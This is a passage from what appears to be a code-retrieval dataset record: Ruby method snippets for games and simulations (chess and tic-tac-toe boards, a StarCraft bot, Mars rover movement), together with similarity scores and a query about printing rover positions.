1\n row = 0\n\n @falling_piece.x = col * @block_size + self.screen_x\n @falling_piece.y = row * @block_size + self.screen_y\n\n @falling_piece.grid_position.x = col + 1\n @falling_piece.grid_position.y = row\n\n if collides?\n game_over\n end\n end", "def initialize_strategy\n main_position = player.command_centers.first.position\n _, *unscouted_bases = BWTA.start_locations.to_a.map(&:position).sort do |a, b|\n main_position.getDistance(b) <=> main_position.getDistance(a)\n end.reverse\n overlord_target = nil\n\n #Basic Strategy:\n strategy_step \"Every idle worker should mine\" do\n precondition { player.workers.any? &:idle? }\n\n postcondition { false } #this step should be repeated\n\n order do\n center = player.command_centers.first\n\n minerals = state.units.values.select{|u| u.type.mineral_field? }.sort do |a, b|\n b.distance(center) <=> a.distance(center)\n end\n\n player.workers.select(&:idle?).each do |worker|\n worker.mine(minerals.pop)\n end\n end\n end\n\n #When there is less than 5 supply and a spawning pool does not exist, a drone should be spawned\n strategy_step \"Spawn a drone\" do\n precondition { player.minerals >= 50 && player.supply_used < 10 }\n\n postcondition { false } #this step should be repeated\n\n order { spawn UnitType.Zerg_Drone }\n end\n\n #When there is not enough supply an overlord should be spawned\n strategy_step \"Spawn an overlord\" do\n precondition { player.minerals >= 100 && player.supply_total <= player.supply_used && player.larva_available? } #not smart\n\n progresscondition { player.units.values.any? {|unit| unit.has_order? \"Spawn Overlord\" } }\n\n postcondition { false }#this step should be repeated\n\n order { spawn UnitType.Zerg_Overlord }\n end\n\n strategy_step \"Early overlord scout\" do\n overlord = nil\n target = nil\n\n precondition do\n overlords = player.get_all_by_unit_type(UnitType.Zerg_Overlord)\n if overlords.count == 1\n overlord = overlords.first\n target = unscouted_bases.shift\n overlord_target = target\n true\n end\n end\n\n progresscondition { overlord && target }\n\n postcondition { overlord.position == target if overlord }\n\n order { overlord.move(target) if overlord }\n end\n\n strategy_step \"Drone scout\" do\n drone_scout = nil\n target = nil\n\n precondition do\n if player.get_all_by_unit_type(UnitType.Zerg_Spawning_Pool).count > 0 && target = unscouted_bases.shift\n drone_scout = player.workers.first\n true\n end\n end\n\n order do\n # TODO why is if drone_scout necessary?\n drone_scout.move(target) if drone_scout\n end\n end\n\n #At 5 supply, 200 minerals a spawning pool should be made\n strategy_step \"Make a spawning pool at 5 supply\" do\n precondition { player.minerals > 200 && player.supply_total >= 10 }\n\n postcondition { player.units.values.any? {|u| u.type == UnitType.Zerg_Spawning_Pool} }\n\n progresscondition { player.units.values.any? {|u| u.has_order? \"Build SpawningPool\" } }\n\n order do\n player.workers.first.build(UnitType.Zerg_Spawning_Pool, build_location(UnitType.Zerg_Spawning_Pool))\n end\n end\n\n #When there is a spawning pool and enough minerals and supply, a zergling should be made\n strategy_step \"Make zerglings\" do\n precondition { player.minerals > 50 && player.supply_left >= 2 && player.larva_available? }\n\n precondition { player.get_all_by_unit_type(UnitType.Zerg_Spawning_Pool).count > 0 }\n\n postcondition { false } #this step should be repeated\n\n order do\n while (player.minerals > 50 && player.supply_left >= 2 && player.larva_available?) do\n spawn UnitType.Zerg_Zergling #spawn many zerglings in one frame\n end\n end\n end\n\n strategy_step \"Move in!\" do\n precondition { zerglings.count >= 1 && enemy.units.count == 0 }\n\n postcondition { false }\n\n order do\n target = unscouted_bases.shift || overlord_target\n\n zerglings.each do |z|\n puts \"Ordering zerglings to move\"\n z.move(target)\n end\n end\n end\n\n #When there are 5 zerglings, they should attack\n strategy_step \"Attack!\" do\n precondition { zerglings.count >= 5 && enemy.units.count > 0 }\n\n postcondition { false } #just keep on doin' it\n\n order do \n puts \"Ordering zerglings to attack\"\n zerglings.each { |z| attack_nearest_enemy(z) }\n end\n end\n end", "def island; end", "def initialize \n\t@first_player = Player.new(\"joueur 1\")\n\t@second_player = Player.new(\"joueur 2\")\n\t self.create_board\n\t self.play_until_victory\n end", "def setup_limbs\n @legs = 4\n @arms = 0\n end", "def initialize\n puts \" -----------------------------------------------\"\n puts \"| |\"\n puts \"| Bienvenue sur 'ILS VEULENT TOUS MA POO' ! |\"\n puts \"| |\"\n puts \"|-----------------------------------------------|\"\n puts \"| |\"\n puts \"|Le but du jeu est d'être le dernier survivant !|\"\n puts \"| |\"\n puts \" -----------------------------------------------\"\n puts \"Nom du joueur?\"\n player1_input=gets.chomp\n puts \"\\n\"\n @player1=HumanPlayer.new(player1_input)\n @players_left=10\n @enemies_in_sight=[]\n\n \n \n end", "def initBoard\n\t\tprng = Random.new\n\t\tspotOne = prng.rand(6).truncate + 97\n\t\tspotTwo = prng.rand(6).truncate + 97\n\t\tspotThree = prng.rand(6).truncate + 97\n\t\tspotFour = prng.rand(6).truncate + 97\n\t\t@real = [spotOne, spotTwo, spotThree, spotFour]\n\t\t#@real = [98, 100, 97, 98]\n\t\t#classfield\n\t\t@guesses = []\n\tend", "def test_robot_multi_obstacle\n # Build a 3 unit high wall at x=1\n obstacles = [\n {:x => 1, :y => 0},\n {:x => 1, :y => 1},\n {:x => 1, :y => 2}\n ]\n world = World.new(5, 5, obstacles)\n rover = MarsRover.new(0,0,'E', world)\n message = rover.command('F')\n assert_equal(\"Obstacle found at x:1 y:0\", message)\n message = rover.command('LFRF')\n assert_equal(\"Obstacle found at x:1 y:1\", message)\n message = rover.command('LFRF')\n assert_equal(\"Obstacle found at x:1 y:2\", message)\n message = rover.command('LFRF')\n assert_equal([1,3,'E'], rover.position)\n end", "def initialize\n @markers = []\n position = 0\n 9.times do\n self.markers.push(position)\n position = position + 1\n end\n @current_turn = \"X\"\n @turn_count = 0\n @winner = false\n end", "def create_turning_ball\n @ball = Turning_Pokeball.new(@viewport)\n end", "def create\n @village = Village.new(params[:village])\n\n respond_to do |format|\n if @village.save\n @village.x = rand(100)\n @village.y = rand(100)\n if @village.x == Village.where(:x => @village.x) && @village.x == Village.where(:y => @village.y)\n while @village.x == Village.where(:x => @village.x) && @village.x == Village.where(:y => @village.y)\n @village.x = rand(100)\n @village.y = rand(100)\n end\n else\n @village.hq_id = 1\n @village.woodhouse_id = 1\n @village.mine_id = 1\n @village.pit_id = 1\n @village.user_id = current_user.id\n @village.save\n format.html { redirect_to(@village, :notice => 'Village was successfully created.') }\n format.xml { render :xml => @village, :status => :created, :location => @village }\n\t\tend \n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @village.errors, :status => :unprocessable_entity }\n end\n end\n end", "def pbRoamPokemon(ignoretrail=false)\n # Start all roamers off in random maps\n if !$PokemonGlobal.roamPosition\n $PokemonGlobal.roamPosition={}\n for i in 0...RoamingSpecies.length\n species=getID(PBSpecies,RoamingSpecies[i][0])\n next if !species || species<=0\n keys=pbRoamingAreas(i).keys\n $PokemonGlobal.roamPosition[i]=keys[rand(keys.length)]\n end\n end\n $PokemonGlobal.roamHistory=[] if !$PokemonGlobal.roamHistory\n $PokemonGlobal.roamPokemon=[] if !$PokemonGlobal.roamPokemon\n # Roam each Jermon in turn\n for i in 0...RoamingSpecies.length\n pbRoamPokemonOne(i,ignoretrail)\n end\nend", "def start_game\n Board.new 10, 10\n end", "def reset!\n @movers = (0..SIZE).map do |i|\n Mover.new(mass: rand(0.5..3), location: Vec2D.new(40 + i * 70, 0))\n end\nend", "def begin_spel\n @zetten = 0\n @player = PIECE[:x]\n @board = []\n 9.times { @board << PIECE[:blank] }\nend", "def setup_blueprint_rooms\n # hardcoded layout\n @corridors << @fort_entrance\n\n fx = @fort_entrance.x\n fy = @fort_entrance.y\n\n fz = @fort_entrance.z1\n setup_blueprint_workshops(fx, fy, fz, [@fort_entrance])\n \n fz = @fort_entrance.z1 -= 1\n setup_blueprint_utilities(fx, fy, fz, [@fort_entrance])\n \n fz = @fort_entrance.z1 -= 1\n setup_blueprint_stockpiles(fx, fy, fz, [@fort_entrance])\n \n 2.times {\n fz = @fort_entrance.z1 -= 1\n setup_blueprint_bedrooms(fx, fy, fz, [@fort_entrance])\n }\n end", "def setup_blueprint_rooms\n # hardcoded layout\n @corridors << @fort_entrance\n\n fx = @fort_entrance.x\n fy = @fort_entrance.y\n\n fz = @fort_entrance.z1\n setup_blueprint_workshops(fx, fy, fz, [@fort_entrance])\n \n fz = @fort_entrance.z1 -= 1\n setup_blueprint_utilities(fx, fy, fz, [@fort_entrance])\n \n fz = @fort_entrance.z1 -= 1\n setup_blueprint_stockpiles(fx, fy, fz, [@fort_entrance])\n \n 2.times {\n fz = @fort_entrance.z1 -= 1\n setup_blueprint_bedrooms(fx, fy, fz, [@fort_entrance])\n }\n end", "def initialize\n @board = Array.new(64, 0)\n @black_king_side_castling = true\n @white_king_side_castling = true\n @black_queen_side_castling = true\n @white_queen_side_castling = true\n @last_move = [64,64]\n\n # place pawns\n for i in (8..15)\n @board[i] = -1\n end\n for i in (48..55)\n @board[i] = 1\n end\n\n # place other pieces\n black = [-4, -2, -3, -5, -6, -3, -2, -4]\n white = [4, 2, 3, 5, 6, 3, 2, 4]\n for i in (0..7)\n @board[i] = black.shift\n end\n for i in (56..63)\n @board[i] = white.shift\n end\n end", "def setup(board)\n ('a'..'h').each_with_index do |column, index|\n # Set up the home rows\n [[1, :white], [8, :black]].each do |row, color|\n piece = HOME_ROW[index].new(color)\n board.place( Square.new(column, row), piece )\n end\n \n # Setup the pawns\n [[2, :white], [7,:black]].each do |row, color|\n piece = Pawn.new(color)\n board.place( Square.new(column, row), piece)\n end\n end\n end", "def initialize(first_name1, first_name2, board)\n @board = board\n #on initialise les players avec les signes x et o\n player1 = Player.new(first_name1, \"X\")\n player2 = Player.new(first_name2, \"O\")\n #tableau des joueurs, peut etre a supprimer\n @array_players = [player1, player2]\n #nombre de tour pour finir le jeu apres 9 coups, current player pour definir qui joue\n @turn_count = 1\n @current_player = player1\n end", "def moving\n\t\tget_rand(2)\n\t\tcase @location\n\t\twhen \"Cathedral\"\n\t\t\tfrom_cathy()\n\t\twhen \"Hospital\"\n\t\t\tfrom_hospital()\n\t\twhen \"Hillman\"\n\t\t\tfrom_hillman()\n\t\twhen \"Museum\"\n\t\t\tfrom_museum()\n\t\tend\n\tend", "def applyAction\n #puts(\"Creer pont \" + @x1.to_s + @y1.to_s + \" \" + @x2.to_s + @y2.to_s)\n return @grid.createBridge(@x1,@y1, @x2, @y2)\n end", "def players\n @a = Array.new\n @a << east \n @a << south\n @a << west\n @a\n end", "def setup_rover_data(rover)\n data = {}\n data[:location] = {x: rover[0][0], y: rover[0][1], orientation: rover[0][2]}\n data[:movements] = rover[1].split('') # Array of movements\n data\nend", "def new_game\n @players = [@p1, @p2]\n\n round_gameplay\n until self.winner?\n next_round\n end\n\n end", "def create_in_direction dir\n new_room = Room.create({:created_at=>Time.now, :x=>self.x, :y=>self.y, :z=>self.z})\n \n case dir\n when \"north\",:north, 0\n new_room.y += 1\n when \"east\", :east, 1\n new_room.x += 1\n when \"south\",:south, 2\n new_room.y -= 1\n when \"west\",:west, 3\n new_room.x -= 1\n when \"up\",:up, 4\n new_room.y += 1\n when \"down\",:down, 5\n new_room.y -= 1\n end\n \n create_exit(dir, new_room, true) # two way exit\n return new_room\n end", "def initialize # utilise la classe player pour demander les infos aux joueurs et la classe baord pour lancer la tipar\n puts \" The Houmous Project présente Morbac\"\n @player_one = Player.new\n @player_one.informations\n @player_two = Player.new\n @player_two.informations\n @boboard = Board.new\n end", "def setup_board\r\n place_pawns\r\n place_bishops\r\n place_rooks\r\n place_knights\r\n place_queens\r\n place_kings\r\n end", "def setup_castle\r\n randomnums = Random.new\r\n zero_out\r\n treasures_allot\r\n terrors_allot\r\n set_at_room(4,6, 100 + randomnums.rand(1...100))\r\n set_at_room(16,6, 100 + randomnums.rand(1...100))\r\nend", "def initialize(length = 15, driver = nil, passengers = nil, currentLane = nil, exitLane = nil)\n if (length < MinimumLength)\n raise ArgumentError, \"Car below minimum length of #{Car.minimumLength}: #{length}\"\n end\n\n @bodyStart = 0\n @length = length ? length : 15\n @bodyEnd = @bodyStart - @length\n @driver = driver ? driver : Driver.select\n @passengers = passengers ? passengers : Roadway.passengers.select\n @createTime = World.time\n @distance = 0\n @currentLane = currentLane\n @exitLane = exitLane\n @fixTime = nil\n\n @maxAccel = @driver.maxAccel\n @changeLead = @driver.changeLead\n @changeTrail = @driver.changeTrail\n\n # if the current lane is undefined, then we choose a lane to put ourselves into.\n # Keep on choosing until we get a valid entry/exit pair.\n unless @currentLane\n begin\n @currentLane = Lane.generate.chooseObject\n @exitLane = Lane.absorb.chooseObject\n end until @currentLane.exitTo[@exitLane]\n\n @currentLane.addCar self\n end\n\n @lastSpeed = @currentLane.initialSpeed\n @nextSpeed = Velocity::Zero\n\n @totalLaneChanges = 0\n @totalAccidents = 0\n @totalBreakdowns = 0\n\n updateLane\n end", "def generate_successors\n @successors =\n [Move.new(x + 2, y + 1, self)] +\n [Move.new(x + 2, y - 1, self)] +\n [Move.new(x - 2, y + 1, self)] +\n [Move.new(x - 2, y - 1, self)] +\n [Move.new(x + 1, y + 2, self)] +\n [Move.new(x + 1, y - 2, self)] +\n [Move.new(x - 1, y + 2, self)] +\n [Move.new(x - 1, y - 2, self)]\n successors_copy = []\n @successors.each do |successor|\n successors_copy += [successor] if (0..7) === successor.x && (0..7) === successor.y\n end\n @successors = successors_copy\n end", "def initialize_game_board\n current_player = players.last\n gameboard_id = id\n update(current_player: current_player, current_state: 'ingame')\n Centercard.find_or_create_by!(gameboard_id: gameboard_id)\n Graveyard.find_or_create_by!(gameboard_id: gameboard_id)\n Playerinterceptcard.find_or_create_by!(gameboard_id: gameboard_id)\n Interceptcard.find_or_create_by!(gameboard_id: gameboard_id)\n\n # pp Player.find(current_player).gameboard\n players.each do |player|\n lobby_card = 0\n player.user.monsterone.blank? ? nil : lobby_card += 1\n player.user.monstertwo.blank? ? nil : lobby_card += 1\n player.user.monsterthree.blank? ? nil : lobby_card += 1\n Handcard.find_or_create_by!(player_id: player.id) # unless player.handcard\n Handcard.draw_handcards(player.id, self, 4) unless lobby_card.positive?\n Handcard.draw_handcards(player.id, self, 5 - lobby_card) if lobby_card.positive?\n Handcard.draw_one_monster(player.id, self) unless lobby_card.positive?\n end\n end", "def repel\n temp = subject\n if random_reflect? # Random target reflect if skill/item allow to do so\n temp = temp.friends_unit.alive_members.shuffle[0]\n end\n self.subject = target\n self.target = temp\n # Invert setup as well ~\n start = @setup[PROJ_START]\n start_p = @setup[PROJ_STARTPOS]\n @setup[PROJ_START] = @setup[PROJ_END]\n @setup[PROJ_STARTPOS] = @setup[PROJ_ENDPOS]\n @setup[PROJ_END] = start\n @setup[PROJ_ENDPOS] = start_p\n self.mirror = !self.mirror\n # Re-start projectile\n start_projectile\n start_animation(@animation, !@mirror)\n end", "def place_initial_pieces\n x = @board.get_size/2\n y = @board.get_size/2\n \n @board.place_piece(x, y, @players[0])\n @board.place_piece(x - 1, y, @players[1])\n @board.place_piece(x, y - 1, @players[1])\n @board.place_piece(x -1, y - 1, @players[0])\n end" ]
[ "0.65657604", "0.63672507", "0.623502", "0.62035996", "0.6146246", "0.61115557", "0.60550874", "0.6046997", "0.602119", "0.5972263", "0.59538275", "0.59399813", "0.59078526", "0.5874867", "0.5873017", "0.58685315", "0.5863173", "0.5849323", "0.584719", "0.5812066", "0.58009344", "0.5796572", "0.57942563", "0.57795995", "0.5766748", "0.57472986", "0.57424724", "0.5738306", "0.57234734", "0.57109994", "0.57021374", "0.5697779", "0.56925374", "0.5681255", "0.5624689", "0.5617743", "0.56073743", "0.559585", "0.5588955", "0.5588178", "0.5574223", "0.55673033", "0.5566467", "0.55644715", "0.55582005", "0.55570793", "0.55363125", "0.5534751", "0.5527782", "0.5526542", "0.55242366", "0.55131876", "0.55034757", "0.55031514", "0.5497156", "0.5494951", "0.5493232", "0.54869133", "0.5467007", "0.54658675", "0.5465791", "0.546508", "0.5460109", "0.5454698", "0.54522264", "0.54519534", "0.5450237", "0.5446703", "0.54450566", "0.54356396", "0.54349226", "0.54311264", "0.5424672", "0.54244703", "0.5421159", "0.54204786", "0.54197866", "0.54196507", "0.54150724", "0.5413596", "0.5412383", "0.54123694", "0.54123694", "0.54087925", "0.53858423", "0.53858286", "0.538381", "0.5381676", "0.53806835", "0.5379826", "0.53770244", "0.5370109", "0.5367837", "0.53647447", "0.5360347", "0.53586066", "0.53506154", "0.53504026", "0.534912", "0.53476965" ]
0.7028696
0
Outputs the final position of the Roverss
def output @rovers.each do |rover| puts '%d %d %s' %rover.position if @map.rover_inside_plateu?(rover) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def rover_positions_as_string\n @maxX = @file[0]\n @maxY = @file[1]\n while @more\n\n set_initial_position\n move_rover(@file[1 + 4 * @roverCount])\n puts \"#{@x} #{@y} #{@face}\"\n if @file[6 + 3 * @roverCount] == nil\n @more = false\n else\n @roverCount = @roverCount + 1\n end\n end \n end", "def displayPosition\n print \"New rover position is (#{@currentPos.x}, #{@currentPos.y}) facing \"\n\n case @currentDir\n when :north\n print \"North\\n\"\n when :south\n print \"South\\n\"\n when :east\n print \"East\\n\"\n when :west\n print \"West\\n\"\n end\n end", "def output\n output = ''\n\n visible.each_with_index do |line, y_index|\n output << Vedeu::Geometry::Position.new((by + y_index), bx).to_s\n output << line.to_s\n end\n\n output << cursor.to_s\n\n output\n end", "def position\n\t\treturn \"#{@x} #{@y} #{PlanetModel::ORIENTATIONS.invert[@angle.abs % 360].to_s}#{if @lost == true then ' LOST' end}\"\t\n\tend", "def print_rover\n puts \"#{coordinate[0]} #{coordinate[1]} #{coordinate[2]}\"\n end", "def display_position(state)\n position = state[:position]\n puts \"Current position: \"\n position.each do |row|\n puts row.join(\" \")\n end\n end", "def board_visualization\n @players.each do |racer|\n in_front = @length - @position[racer]\n # track = \"|\" * 30\n # p track.insert(@position[racer, racer.to_s)\n p \" |\" * @position[racer] + racer.to_s + \"|\" + \" |\" * in_front\n end\n end", "def board_visualization\n @players.each do |player|\n before = 0\n after = @length\n puts \" | \"*(before += @position[player]) + \"#{player}\" + \" | \"*(after -= @position[player])\n end\n nil\n end", "def print_plateau(rovers)\n (0..boundary_y).reverse_each do |y|\n grid = \"\"\n (0..boundary_x).each do |x|\n roverNames = \"\"\n rovers.each_with_index do |rover, index|\n roverNames = \" #{index+1}\" if rover.position_x == x && rover.position_y == y\n end\n grid += roverNames.empty? ? \" +\" : roverNames\n end\n puts grid\n end\n end", "def output\n puts \"#{@coord_x} #{@coord_y} #{@direction}\"\nend", "def to_s\n puts \"Your Mars rover is at #{@x_axis}, #{@y_axis}, #{@direction}\"\n end", "def position\n puts \"X: #{@x_coord}\"\n puts \"Y: #{@y_coord}\"\n puts \"Direction: #{@direction}\"\n end", "def final_position\n final = self.sequence.last\n if final.is_a? Array\n final.join(\" \")\n else\n final\n end\n end", "def explore\n @commands.each do |command|\n break unless out_of_bounds?\n command == 'M' ? move : rotate(command)\n end\n new_coordenates = @coordinates.map(&:to_s).join(' ')\n final_facing = @rover_facing.to_s\n out_of_bounds? ? 'new position:' + new_coordenates + ' ' + final_facing : 'Signal lost: Rover out of bounds'\n end", "def pos() end", "def pos() end", "def pos() end", "def pos() end", "def shout\n\t\tputs @x.to_s+\" \"[email protected]_s+\" \"[email protected](@orientation.to_i)+\"\t\"[email protected]_s\n\tend", "def display_position\n side = \" \\u2551\"\n puts \" \\u2554\" + \"\\u2550\" * 16 + \"\\u2557\"\n current_position.each do |row|\n row_string = row.join(\" \")\n puts side + row_string + side\n end\n puts \" \\u255A\" + \"\\u2550\" * 16 + \"\\u255D\"\n if @current_state[:check]\n puts\n puts \"Check!\"\n end\n end", "def output_ris_end\n \"\"\n end", "def save_pos\n output_stream.print \"#{CSI}s\"\n if block_given?\n yield\n load_pos\n end\n end", "def position; end", "def position; end", "def position; end", "def position; end", "def position; end", "def position; end", "def position; end", "def position; end", "def position\n end", "def report\n return nil unless placed?\n [ @x, @y, direction.upcase ].join(',')\n end", "def final_location\n\t\tputs \"Skippy's final location is: #{@skippy.print_location}\"\n\tend", "def display\n\t\tstr=map_to_string()\n\t\t(0..@y_length-1).each do |y_counter|\n\t\t\t(0..@x_length-1).each do |x_counter|\n\t\t\t\tprint str[@x_length*y_counter+x_counter]\n\t\t\tend\n\t\t\tprint \"\\n\"\n\t\tend\t\t\n\tend", "def output(pos)\n puts param_val(pos)\n end", "def view\n pos = [\"A\", \"8\"]\n while pos[1] != \"0\" do\n while pos[0] != \"I\" do\n # handle board column legend\n if pos[0] == \"A\"\n print pos[1]\n print \" \"\n end\n print \" \"\n piece = @board.nodes[pos.join].piece\n if piece != nil\n print piece.icon\n else \n # print @board.nodes[pos.join].position\n print \"\\u25A2\".encode\n end\n # print @board.nodes[pos.join].position\n print \" \"\n letter = pos[0].ord + 1\n pos[0] = letter.chr\n end\n print \"\\n\"\n num = pos[1].ord - 1\n pos[1] = num.chr\n pos[0] = \"A\"\n end\n # handle board row legend\n letters = (\"a\"..\"h\")\n print \" \"\n letters.each do |let|\n print \" \"\n print let\n print \" \"\n end\n print \"\\n\"\n end", "def pos\n @pos\n end", "def report\n check_placement\n\n \"#{x},#{y},#{direction}\"\n end", "def report\n return unless placed?\n [@pos_x, @pos_y, @direction[:value]]\n end", "def pos; end", "def pos; end", "def pos; end", "def pos; end", "def pos; end", "def pos; end", "def paint_world4\r\n show_sun2\r\n\[email protected](\"\") # puts ''\r\n count = 0\r\n @height.times do\r\n @width.times do\r\n @logger.pwrite(\"#{@positions[count].symbol}\") # print @positions[count].symbol\r\n count += 1\r\n end\r\n @logger.write(\"\") # puts ''\r\n end\r\n @logger.write(\"\") # puts '------------'\r\n end", "def final_location\n\t\[email protected]\n\tend", "def moves_n_turns(the_plateau,paint_color)\n\t\t\t@moves_n_turns.each do |n|\n\n\t\t\t\tcase n\n\t\t\t\twhen \"L\"\n\t\t\t\t\tcase @direction\n\t\t\t\t\t\twhen \"N\"\n\t\t\t\t\t\t\t@direction = \"W\"\n\t\t\t\t\t\twhen \"W\"\n\t\t\t\t\t\t\t@direction = \"S\"\n\t\t\t\t\t\twhen \"S\"\n\t\t\t\t\t\t\t@direction = \"E\"\n\t\t\t\t\t\twhen \"E\"\n\t\t\t\t\t\t\t@direction = \"N\"\n\t\t\t\t\tend\n\n\t\t\t\twhen \"R\"\n\t\t\t\t\tcase @direction\n\t\t\t\t\t\twhen \"N\"\n\t\t\t\t\t\t\t@direction = \"E\"\n\t\t\t\t\t\twhen \"W\"\n\t\t\t\t\t\t\t@direction = \"N\"\n\t\t\t\t\t\twhen \"E\"\n\t\t\t\t\t\t\t@direction = \"S\"\n\t\t\t\t\t\twhen \"S\"\n\t\t\t\t\t\t\t@direction = \"W\"\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\twhen \"M\"\n\n\t\t\t\t\tcase @direction\n\t\t\t\t\t\twhen \"N\"\n\t\t\t\t\t\t\t@ycoord = @ycoord.to_i + 1\n\t\t\t\t\t\t\tthe_plateau.plot_rover(@xcoord,@ycoord,paint_color)\n\t\t\t\t\t\twhen \"W\"\n\t\t\t\t\t\t\t@xcoord = @xcoord.to_i - 1\n\t\t\t\t\t\t\tthe_plateau.plot_rover(@xcoord,@ycoord,paint_color)\n\t\t\t\t\t\twhen \"E\"\n\t\t\t\t\t\t\t@xcoord = @xcoord.to_i + 1\n\t\t\t\t\t\t\tthe_plateau.plot_rover(@xcoord,@ycoord,paint_color)\n\t\t\t\t\t\twhen \"S\"\n\t\t\t\t\t\t\t@ycoord = @ycoord.to_i - 1\n\t\t\t\t\t\t\tthe_plateau.plot_rover(@xcoord,@ycoord,paint_color)\n\t\t\t\t\tend # End of Case direction\n\t\t\t\tend # End of case n\n\n\t\t\t\tthe_plateau.plot_rover_final_position(@xcoord,@ycoord,@direction,paint_color)\n\n\t\t\tend # End of Method Moves_n_turns\n\t\tend", "def pretty_result(result)\n puts \"You made it in #{result.length - 1} moves! Here is your path:\"\n result.each { |position| puts position.to_s }\nend", "def pos=(pos); end", "def display_position\n # Fill this in\n end", "def display_position\n # Fill this in\n end", "def next_position\n return unless placed?\n axis = case direction\n when 'east', 'west'; :x\n when 'north', 'south'; :y\n end\n amount = case direction\n when 'north', 'east'; +1\n when 'south', 'west'; -1\n end\n [@x + (axis == :x ? amount : 0), @y + (axis == :y ? amount : 0)]\n end", "def report\n ret = ''\n (0 .. @max_y - 1).to_a.reverse.each do |y|\n (0 .. @max_x - 1).each do |x|\n ret += object_at?(x, y) ? 'X' : '0'\n end\n ret += \"\\n\"\n end\n ret.chomp\n end", "def position\n @position\n end", "def cur_position\n MSPhysics::Newton::Corkscrew.get_cur_position(@address)\n end", "def display_result(obj)\n\t\tnode = obj\n\t\tarr = []\n\t\tn = node.count + 1\n\t\tputs \"From #{@start} to #{@final}\"\n\t\tputs \"Total movements: #{node.count}\"\n\t\tn.times do \n\t\t\tarr << node\n\t\t\tnode = node.parent\n\t\tend\n\n\t\tarr.reverse.each do |item|\n\t\t\tp item.value\n\t\tend\n\t\texit\n\n\tend", "def handle_rover_position_instruction(file)\n\t\tline_reader = self.read_instruction_line(file, \" \")\n\t\tself.set_rover_start_coordinates(line_reader)\n\tend", "def pos\n end", "def pos\n end", "def pos\n end", "def move_rover()\n puts \"DEBUG: moving: #{@orientation}\" if DEBUG\n case @orientation\n when DIRECTION_EAST\n @position[:x] += 1 if @position[:x] < @map.width\n when DIRECTION_WEST\n @position[:x] -= 1 if @position[:x] > 0\n when DIRECTION_NORTH\n @position[:y] += 1 if @position[:y] < @map.height\n when DIRECTION_SOUTH\n @position[:y] -= 1 if @position[:y] > 0\n end\n puts \"DEBUG: position after move: #{@position}\" if DEBUG\n end", "def send_position_to_engine\n if @fen\n write_to_engine(\"position fen #{@fen}\")\n else\n position_str = \"position startpos\"\n position_str << \" moves #{@moves.join(' ')}\" unless @moves.empty?\n write_to_engine(position_str)\n end\n end", "def move_to(x, y); puts \"\\e[#{y};#{x}G\" end", "def c_topleft\n print cursor.column(0)\n print cursor.row(0)\n end", "def to_s\n output = ''\n (10..@height-10).each do |y|\n (10..@width-10).each do |x|\n output += @surface[y][x].to_s\n end\n output += \"\\n\"\n end\n return output\n\tend", "def print_board\n @race_progress.each do |player, advance|\n p advance\n puts \"#{\"-\"*(advance >= @length ? @length : advance)}#{player}#{\"/\"*(advance >= @length ? 0 : @length-advance)}\"\n end\n end", "def report\n return \"Not on board\" if @position.nil? or @direction.nil?\n\n \"#{@position[:x]},#{@position[:y]},#{@direction.to_s.upcase}\"\n end", "def report\n return \"Not on board\" if @position.nil? or @direction.nil?\n\n \"#{@position[:x]},#{@position[:y]},#{@direction.to_s.upcase}\"\n end", "def report\n\t\tputs \"My current location is (#{@x}, #{@y}) facing #{@robot_direction}.\"\n\tend", "def print_track\n clear_screen!\n puts \"RACE! GO FAST!!!111one\"\n liner = \"________________\"\n @length.times do\n liner += \"__\"\n end\n puts liner\n @players.times do |x_position|\n print \"Player #{x_position} \"\n @length.times do |y_position|\n print @track[x_position][y_position] + \"|\"\n end\n puts \"| FINISH\"\n end\n puts liner\n end", "def drawToSTDOUT\n for r in (0..6).step(3) do\n print \"+-----++-----++-----+\\n\"\n print \"| \\\\\"+@table[r].getTop.to_s+\"/ || \\\\\"+@table[r+1].getTop.to_s+\"/ || \\\\\"+@table[r+2].getTop.to_s+\"/ |\\n\"\n print \"|\"+@table[r].getLeft.to_s+\" × \"+@table[r+1].getRight.to_s+\"||\"+@table[r+2].getLeft.to_s+\" × \"+@table[r].getRight.to_s+\"||\"+@table[r+1].getLeft.to_s+\" × \"+@table[r+2].getRight.to_s+\"|\\n\"\n print \"| /\"+@table[r].getBottom.to_s+\"\\\\ || /\"+@table[r+1].getBottom.to_s+\"\\\\ || /\"+@table[r+2].getBottom.to_s+\"\\\\ |\\n\"\n print \"+-----++-----++-----+\\n\"\n end\n end", "def show\r\n @positions.each do |p|\r\n\t puts p.inspect\r\n\tend\r\n end", "def to_s\n \"Position <#{@row}, #{@col}>\"\n end", "def print_iteration via_road, to_move\r\n\t\tprev_location = \"\"\r\n\t\tif to_move == 0\r\n\t\t\tprev_location = driver.location.east_location\r\n\t\telsif to_move == 1\r\n\t\t\tprev_location = driver.location.south_location\r\n\t\telsif to_move == 2\r\n\t\t\tprev_location = driver.location.west_location\r\n\t\telsif to_move == 3\r\n\t\t\tprev_location = driver.location.north_location\r\n\t\tend\r\n\t\tputs \"#{driver.name} heading from #{prev_location.name} to #{driver.location.name} via #{via_road}.\"\r\n\tend", "def update_position\n end", "def update_position\n end", "def update_position\n end", "def position_for_next_harvest()\n turn_right()\n move()\n turn_right()\n end", "def stamp\n @output.write(\"#{ESC}o\")\n end", "def rassoc(p0) end", "def report_robot_details details\r\n\tprint(\"\\nCurrent position details\")\r\n\tprintf(\"\\nFORMAT : (X,Y) - Face Direction => (%d,%d) - %s\", details.x, details.y, DIRECTIONS[details.f])\r\nend", "def displayState(position)\n print \"\\n\"\n for x in 0..2\n for y in 0..2\n print position[x][y].to_s+\" \"\n end\n print \"\\n\"\n end\n print \"\\n\"\n end", "def output\n \"#{@x_axis},#{@y_axis},#{@facing_direction.direction}\"\n end", "def inspect\n str = \"\"\n @surrounding_mine_numbers.each_with_index do |row, row_coord|\n str << \"#{height - row_coord} \"\n row.each_with_index do |col_piece, col_coord|\n coord = Coordinate.new(row_coord, col_coord)\n str << Piece.piece_to_s(get_piece(coord))\n end\n str << \"\\n\"\n end\n str << \" \"\n (0..@width - 1).each do |col|\n str << UserMove.col_internal_to_user(col)\n end\n str << \"\\n\"\n end", "def position_of_mrx\n if @turns % 5 == 3\n @figures[0].position\n else\n 0\n end\n end", "def draw_at(right = 200, top = 10)\n @@font.draw_rel(@score > 0 ? @score : \"00\", right, top, ZOrder::UI, 1.0, 0.0)\n # (strangely) this incudes an image of your current ship\n @ship_count.times { |i| @@image.draw(right-80+i*@@image.width, 